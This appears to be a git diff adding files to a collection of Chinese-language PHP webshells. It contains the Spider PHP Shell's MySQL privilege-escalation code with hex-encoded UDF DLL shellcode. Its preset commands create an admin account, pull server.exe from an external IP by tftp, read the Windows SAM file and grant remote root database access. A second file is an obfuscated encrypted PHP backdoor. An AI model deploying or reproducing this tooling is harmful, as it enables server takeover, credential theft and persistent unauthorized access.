D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"; +} + +function Mysql_m() +{ + $MSG_BOX = '请先导出DLL,再执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; + $info = '命令回显'; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $mpath = 'C:/windows/mysqlDll.dll'; $sqlcmd = 'ver'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $mpath = File_Str($_POST['mpath']); $sqlcmd = $_POST['sqlcmd']; + $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); + if($conn) + { + @mysql_select_db($mdata); + if((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) + { + $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);"; + if(@mysql_query($query,$conn)) + { + $shellcode = Mysql_shellcode(); + $query = "INSERT into Spider_Temp_Tab values (CONVERT(".$shellcode.",CHAR));"; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \''.$mpath.'\';'; + if(@mysql_query($query,$conn)) + { + $ap = explode('/', $mpath); $inpath = array_pop($ap); + $query = 'Create Function state returns string soname \''.$inpath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '安装DLL成功' : '安装DLL失败'; + } + else $MSG_BOX = '导出DLL文件失败'; + } + else $MSG_BOX = '写入临时表失败'; + @mysql_query('DROP TABLE Spider_Temp_Tab;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } + if(!empty($_POST['runcmd'])) + { + $query = 'select state("'.$sqlcmd.'");'; + $result = @mysql_query($query,$conn); + if($result) + { + $k = 0; $info = NULL; + while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} + $info = $infotmp; + $MSG_BOX = '执行成功'; + } + else $MSG_BOX = '执行失败'; + } + } + else $MSG_BOX = '连接MYSQL失败'; + } +print<< +function Fullm(i){ + Str = new Array(11); + Str[0] = "ver"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "net start Terminal Services"; + Str[4] = "netstat -an"; + Str[5] = "ipconfig"; + Str[6] = "net user guest /active:yes"; + Str[7] = "copy c:\\\\1.php d:\\\\2.php"; + Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe"; + Str[9] = "net start telnet"; + Str[10] = "shutdown -r -t 0"; + mform.sqlcmd.value = Str[i]; + return true; +} + +
                            +
                            {$MSG_BOX}
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +可加载路径 +
                            +
                            安装成功后可用
                            + + + +
                            +
                            +END; + return true; +} + +function Mysql_n() +{ + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'spider.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
                            上传路径 +

                            选择文件 +
                            +END; +} +elseif($o == 'd') +{ +print<<

                            下载文件 +
                            +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = '执行SQL语句成功
                            '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
                            +
                            + + +END; +} + if($MSG_BOX != '') echo '
                            '.$MSG_BOX.'
                            '; + else echo ''; + return true; +} + +//MYSQL管理 + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function Mysql_Msg() +{ + $conn = @mysql_connect($_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'],$_COOKIE['m_spideruser'],$_COOKIE['m_spiderpass']); + if($conn) + { +print<< +function Delok(msg,gourl) +{ + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)){window.location = gourl;} +} +function Createok(ac) +{ + if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (spider BLOB);'; + if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;'; + if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;'; + return false; +} + +END; + $BOOL = false; + $MSG_BOX = '用户:'.$_COOKIE['m_spideruser'].'      地址:'.$_COOKIE['m_spiderhost'].':'.$_COOKIE['m_spiderport'].'      版本:'; + $k = 0; + $result = @mysql_query('select version();',$conn); + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + echo '
                            数据库:'; + $result = mysql_query("SHOW DATABASES",$conn); + while($db = mysql_fetch_array($result)){echo '  ['.$db['Database'].']';} + echo '
                            '; + if(isset($_GET['db'])) + { + mysql_select_db($_GET['db'],$conn); + if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '执行成功' : '执行失败 '.mysql_error();} + if(is_array($_POST['insql'])) + { + $query = 'INSERT INTO '.$_GET['table'].' ('; + foreach($_POST['insql'] as $var => $key) + { + $querya .= $var.','; + $queryb .= '\''.addslashes($key).'\','; + } + $query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');'; + $MSG_BOX = mysql_query($query,$conn) ? '添加成功' : '添加失败 '.mysql_error(); + } + if(is_array($_POST['upsql'])) + { + $query = 'UPDATE '.$_GET['table'].' SET '; + foreach($_POST['upsql'] as $var => $key) + { + $queryb .= $var.'=\''.addslashes($key).'\','; + } + $query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';'; + $MSG_BOX = mysql_query($query,$conn) ? '修改成功' : '修改失败 '.mysql_error(); + } + if(isset($_GET['del'])) + { + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $query = 'DELETE FROM '.$_GET['table'].' WHERE '; + foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';} + $where = $query.substr($queryc, 0, -4).';'; + $MSG_BOX = mysql_query($where,$conn) ? '删除成功' : '删除失败 '.mysql_error(); + } + $action = '?s=r&db='.$_GET['db']; + if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '删除成功' : '删除失败 '.mysql_error();} + if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];} + if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert']; + echo '
                            '; + echo ' '; + echo ' '; + echo ' '; + echo ' '; + echo '
                            '; + echo '
                            '.$MSG_BOX.'
                            '.$_GET['db'].' ---> '; + if(isset($_GET['table'])) + { + echo ''.$_GET['table'].' '; + echo '[插入]
                            '; + if(isset($_GET['edit'])) + { + if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table']; + echo '
                            '; + $result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn); + $good = mysql_fetch_assoc($result); + $u = 0; + foreach($good as $var => $key) + { + $queryc .= $var.'=\''.$key.'\' AND '; + $type = @mysql_field_type($result, $u); + $len = @mysql_field_len($result, $u); + echo '
                            '.$var.' '.$type.'('.$len.')
                            '; + $u++; + } + $where = 'WHERE '.substr($queryc, 0, -4); + echo ''; + echo '
                            '; + } + else + { + $query = 'SHOW COLUMNS FROM '.$_GET['table']; + $result = mysql_query($query,$conn); + $fields = array(); + $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn)); + if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20; + echo ''; + echo ''; + while($row = @mysql_fetch_assoc($result)) + { + array_push($fields,$row['Field']); + echo ''; + } + echo ''; + if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;'; + $result = mysql_query($query,$conn); + $v = $p; + while($text = @mysql_fetch_assoc($result)) + { + echo ''; + foreach($fields as $row){echo '';} + echo ''."\r\n";$v++; + } + echo '
                            操作'.$row['Field'].'
                            修改 '; + echo ' 删除 '.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'
                            '; + for($i = 1;$i <= ceil($row_num / 20);$i++){$k = ((int)$_GET['p'] == $i) ? ''.$i.'' : $i;echo '['.$k.'] ';} + echo '
                            '; + } + } + elseif(isset($_GET['insert'])) + { + echo ''.$_GET['insert'].''; + $result = mysql_query('SELECT * FROM '.$_GET['insert'],$conn); + $fieldnum = @mysql_num_fields($result); + echo '
                            '; + for($i = 0;$i < $fieldnum;$i++) + { + $name = @mysql_field_name($result, $i); + $type = @mysql_field_type($result, $i); + $len = @mysql_field_len($result, $i); + echo '
                            '.$name.' '.$type.'('.$len.')
                            '; + } + echo '
                            '; + } + else + { + $query = 'SHOW TABLE STATUS'; + $status = @mysql_query($query,$conn); + while($statu = @mysql_fetch_array($status)) + { + $statusize[] = $statu['Data_length']; + $statucoll[] = $statu['Collation']; + } + $query = 'SHOW TABLES FROM '.$_GET['db'].';'; + echo ''; + echo ''; + echo ''; + echo ''; + echo ''; + $result = @mysql_query($query,$conn); + $k = 0; + while($table = mysql_fetch_row($result)) + { + echo ''; + echo ''; + echo ''."\r\n"; + $k++; + } + echo '
                            表名 操作 字符集 大小
                            '.$table[0].' 插入 删除 '.$statucoll[$k].''.File_Size($statusize[$k]).'
                            '; + } + } + } + else die('连接MYSQL失败,请重新登陆.'); + if(!$BOOL) echo ''; + return false; +} + +function Mysql_o() +{ + ob_start(); + if(isset($_POST['mhost']) && isset($_POST['mport']) && isset($_POST['muser']) && isset($_POST['mpass'])) + { + if(@mysql_connect($_POST['mhost'].':'.$_POST['mport'],$_POST['muser'],$_POST['mpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('m_spiderhost',$_POST['mhost'],$cookietime); + setcookie('m_spiderport',$_POST['mport'],$cookietime); + setcookie('m_spideruser',$_POST['muser'],$cookietime); + setcookie('m_spiderpass',$_POST['mpass'],$cookietime); + die('正在登陆,请稍候...'); + } + } +print<< +
                            地址
                            +
                            端口
                            +
                            用户
                            +
                            密码
                            +
                            + +END; + ob_end_flush(); + return true; +} + +function Root_Login($MSG_TOP) +{ +print<< + +
                            +
                            +
                            +
                            {$MSG_TOP}
                            +
                            PASS:
                            +
                            +
                            +
                            +
                            + + +END; + return false; +} + +function WinMain() +{ + $Server_IP = gethostbyname($_SERVER["SERVER_NAME"]); + $Server_OS = PHP_OS; + $Server_Soft = $_SERVER["SERVER_SOFTWARE"]; + $Server_Alexa = 'http://cn.alexa.com/siteinfo/'.str_replace('www.','',$_SERVER['SERVER_NAME']); +print<< + Spider PHP Shell (SPS-3.0) + + + + + + + + +END; +return false; +} + +if(get_magic_quotes_gpc()) +{ + $_GET = Root_GP($_GET); + $_POST = Root_GP($_POST); +} +if($_GET['s'] == 'logout') +{ + setcookie('admin_spiderpass',NULL); + die(''); +} +if($_COOKIE['admin_spiderpass'] != md5($password)) +{ + ob_start(); + $MSG_TOP = 'LOGIN'; + if(isset($_POST['spiderpass'])) + { + $cookietime = time() + 24 * 3600; + setcookie('admin_spiderpass',md5($_POST['spiderpass']),$cookietime); + if(md5($_POST['spiderpass']) == md5($password)){die('');} + else{$MSG_TOP = 'PASS IS FALSE';} + } + Root_Login($MSG_TOP); + ob_end_flush(); + exit; +} + +if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';} +$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__)); + +switch($s) +{ + case "a" : File_a($p); break; + case "b" : Guama_b(); break; + case "c" : Qingma_c(); break; + case "d" : Tihuan_d(); break; + case "e" : Antivirus_e(); break; + case "f" : Info_f(); break; + case "g" : Exec_g(); break; + case "h" : Com_h(); break; + case "i" : Port_i(); break; + case "j" : Findfile_j(); break; + case "k" : Linux_k(); break; + case "l" : Servu_l(); break; + case "m" : Mysql_m(); break; + case "n" : Mysql_n(); break; + case "o" : Mysql_o(); break; + case "p" : File_Edit($_GET['fp'],$_GET['fn']); break; + case "q" : File_Soup($p); break; + case "r" : Mysql_Msg(); break; + default: WinMain(); break; +} +?> diff --git "a/php/\345\212\240\345\257\206PHP\346\234\250\351\251\254\344\270\213\350\275\275 \351\273\230\350\256\244\345\257\206\347\240\201 adminfuck1" "b/php/\345\212\240\345\257\206PHP\346\234\250\351\251\254\344\270\213\350\275\275 \351\273\230\350\256\244\345\257\206\347\240\201 adminfuck1" new file mode 100644 index 0000000..a5d77f9 --- /dev/null +++ "b/php/\345\212\240\345\257\206PHP\346\234\250\351\251\254\344\270\213\350\275\275 \351\273\230\350\256\244\345\257\206\347\240\201 adminfuck1" @@ -0,0 +1,3 @@ + +tOTcYXacYXacYXMupLtoQv6WDNyUzAkxBMTNAeEyBMFxdJGxG+ilbVTcYOFWbufWd+GxG+W1tOTcbufWYXacYJklbVFWbVFWYOFWsJ8cbuacbufWYOF1tOFWYXacYOFWYJWlbVFWYOFWYXfWsAWxzvys3OT7blELpL2l3btx09Qiw3tZ2U2JYLRb8yyWeNTHQ+/6DyRCPXyA2Or/dVZI6V64p6z2wuZR2CkM8Z8EAuVxdJpawl2O8ezLAOZsAVE2blTwe6tb6y636Mrz3vy+0C8Zzvp1S3RHDNMID9aEQx2VpBz9PLZhYXOjYuwM2UQigAmntjlRsAl5zv2mD92ZsJ8cYXfWbuacYXfRgC6C03W1tOTcYXacYXacYJl5Xw1lQNyuQ9pnQvwkcAfx038/S37vp32HYAQ5XwRZpvymsJ8oeOTb6ymlQNyuQ9pnQv8psbm2Jv6jQvTjB9tZQNTjpNZIzjryBV6AelTAsbm2JvrZ038ZQ+kx0CTIpN6IpJMePBaZg+aVzBrVdCrVD3W5GN210BtuzBwTzCGjYuOjtjl5XwRuzB8opNZ/z6TmS3MRpJkWsbm2JvzMDv2VS3TIGytnD98o8Mf1t+8rQxtrPAl2Jxm2Jxp1S3EZsNERQ9w1tN/ZPAWlpvyjsAfTGN6r0Ck1tNyjQvy7sAl2Jxm2JvZvsJrupLtVD96WQN6jsJ8HzBlRGJOTGJ8HzBlkoLWxtj7RDx8C03W1tN/ZPAlkcbVkG+8HzBl+sAfvt+8HzBlkGbVktCyjzCYxt+0lSC67GJOTGJprQvpCtjl2Jxm2JvZvsNZuB92VQvZIzjklpvyjsAlktNyjQvy73j8HzBZpGXVkQ98jSBauDNyuSN6usJ8C0BGRgWVsS301SB2o0Btj0Bl1tLzrQ+lRGJ8rQxtrP6mlSC67BAfTGytnD98o8Mf1tLzrQ+l5XwRTXwRTXwRjzB8MQviktNyjQvy7gWVsowVszx6I098RDCikevTnpyTXeMY1swVsPWVsQLtRDxw+cL2VP3EZGL87QNeTBJtVzBrVdC2uQMW+ckVsJAR5QNylzNZIzu1Wgja/0BtxS3ihYX/TXw1t0vTlPB/+032Hz9tnp37lgx81Qv6ZzNzr0Ce5zvTIpJMv03MRDLlhBJt3zBtl037rBJGmGyW+6Ny1DCMrBJGmGyW+jF5Y76W+dL2rDxY/QC6jS305GNznDxw/QCZhzb1EY9aigCMrQvpRD+MVD9fhY9aigCMrQvpRD+M+D98VDCVhY9aig98r0vEZd3ErP3TMpXRvSBrZzX/9D9tld3tjz3yHgvtjz3yHd3ymDX/TXw1t0B/UDCEnQU1UYXfWYXfWg98ZPLw/zN6UD9trpNZnDURIDC7Zg9V2JkZrgvrnpv6jPCtr0C/xQvTMDvwhGVtJwltJwU/TXw1tpNy+DN650CTmD9GhGufWYXfWYX/vDC7Vd3zrD3ZmPbRQGZzZQv8rDvyQG+WkBJte03rnD3yQG+WkBJddumuZBJGmQCyIQjMuzBtRzU/vDC7VdB2RPvehYb2WPX/+D9tlzBGhYBaiGL2nDNZlGJY7gbl7gbl5owVsJB8lPCtr0C/xQvTMDvwhGV078UzN2X/TXw1tdx8nQL8lPCtr0C/xQvTMDvwhpNrjz36lzvyUzbmkpCZlpNkhYuOWQLk5GNtnQv8ZQ+MUDCEnQU1U8lzN8lzNGJY7gbl7gblkGul7gbl7gAfU8lzN8lzNgja+D9tlzBG/Q987DNehQCTmS3w50vTjzN6jdBpRzL81gUyWPX/TXw1tdvMuzCtnPL/+032Hz9tnp37lg+2N8lzN8bf50CTmD9GhGVzNYXfWYX/1z3ZxSLwhYU6WPX/vDC7VdB2RPvehYbtWPX/+D9tlzBGhYBaiGL2nDNZlGJY7gbl7gbl5pN6ipJMrDNZxDURUz37VzBG5QNylzNZIzu1uQLk50CEZ0BGh0vTVSX/TXw1tdvyUpNymDL/+032Hz9tnp37lg+2Nge0C8Uw5zvTIpJMuSBRZgUOVQLk50vTjzN6jgUyWPJauDCERzJfUgbl7gbl7g9arzN8RDvQhYxaigCMrQvpRD+MVD9fhY9aigCMrQvpRD+M+D98VDCVhY9aigC2mz3yjgvtnpNk5owVscJTupLZmzb7QD+G5XwRjzB8MQvikzvymQCe5XwRTXwRUDNyuQjaW032HzNZjXwR5XwRC0BGktNTMpJfTGJQxgWVspvyjGJ8l0B8rQC6UGJfkGJfkcAarQxtrPAkRgWVspvyjGJ8UpLtmBC8RQ+fkGJfkcAarQxtrPAkRgWVspvyjGJ8ZDCzo098jDyTlSBGkcAf+BLkMYyEi2NtQPXfMBLkW2ZEiYXaQPXfWBLkWYyEiYXf+gWVspvyjGJ8nDN8oDCzvQC6VGJfkcAfWgWVszx6I098RDCikQNyUSC8RQ+kl0Btj0BlRXwR5XwRRz+rfzx6I098RDC7ozBrRQ98usJpxPv2nDBajzB2utjlRXwR5XwRvD9G1tNikcAfWgj8IGXEUD96IpJkl0Btj0BlRgj8IsjmRXwR5Xw1l0Btj0BZDtN7pGXVkpBtmzN6UDC8ZsJ8rQxtrP6mlDZVRgWVstNzWGXVkwNznQN6IsJ8rQxtrP6mlDZVmt9Gxsbm2J+8vS3EZ0CTlzAfTGOavQv6rzJklzxfmwNzRDN6uSBRZsJ8rQxtrP6mlDZVRsbm2Jlav0CEnQCe1tNzWsbm2J+8VSNZuGJVqzvZmzBRRQJklzvZmz32nzNem0vyuz37rD3e1tNyjQvy73j8IBAlRgWVsowVswN2mD92ZzNZjsJ8hSNZhSN6Isbm2J+8VSNZudb7npBwkcAflpNrRQjVqQNyUSCzRDNe1sbm2JxtZpL6jD+aVQx6ZgWVsowVsQv6VpBtIGNzrDL2ZgWVsowVszx6I098RDCik0Bw1tNyVp37RPJfTGXfRXwR5Xw1lp37RPNyjQ+fTGJkl0B8MDvZiGXVTGXfRGXTxzB8l0B8ZsJlkg+axzB8l0B8ZsJ8rpL6ISBkRgWVsS30ksJ8MDvZi0Btj3jp7z3yjtMVkcXO7gXfRXwR5Xw1lp37RPNyjQZmxP36rQ+ppGJfkGXVkYbliYXm2J+8MDvZi0Btj3jp/DCixBAfkGJfkcAfEgWVstL6ISBrrQxtDtCMl0BlxBAfkGJfTGXO5Xw1lp37RPNyjQZmxSNTMQxYxBAfkGXVkYXm2J+8MDvZi0Btj3jp/S37MpN6utMVkcAfWgWVstL6ISBrrQxtDt92Z0CTIzLYxBAfTGXf5XwRTXwRjzB8MQviksJklp37RPNyjQZmxP36rQ+ppGJVEgbkWsAfFcXGMsAaFsJ8MDvZi0Btj3jp/DCixBAfFcXGEsAaFsJ8MDvZi0Btj3jp/zNy7tMVkcXWE2+lkoJklp37RPNyjQZmxSNTMQxYxBAfFcXOEsAaFsJ8MDvZi0Btj3jp/S37MpN6utMVkcXWMsAaFsJ8MDvZi0Btj3jpuz32nDv8utMVkcUiEsbm2JxV2JvzMDv2VS3TIGNzRDN6hSBf1tN8rpNOmtN7rD3emtL8RD3ekcAfWswVsPWVstN7rD3ekcAaupLtoQv6WDNyU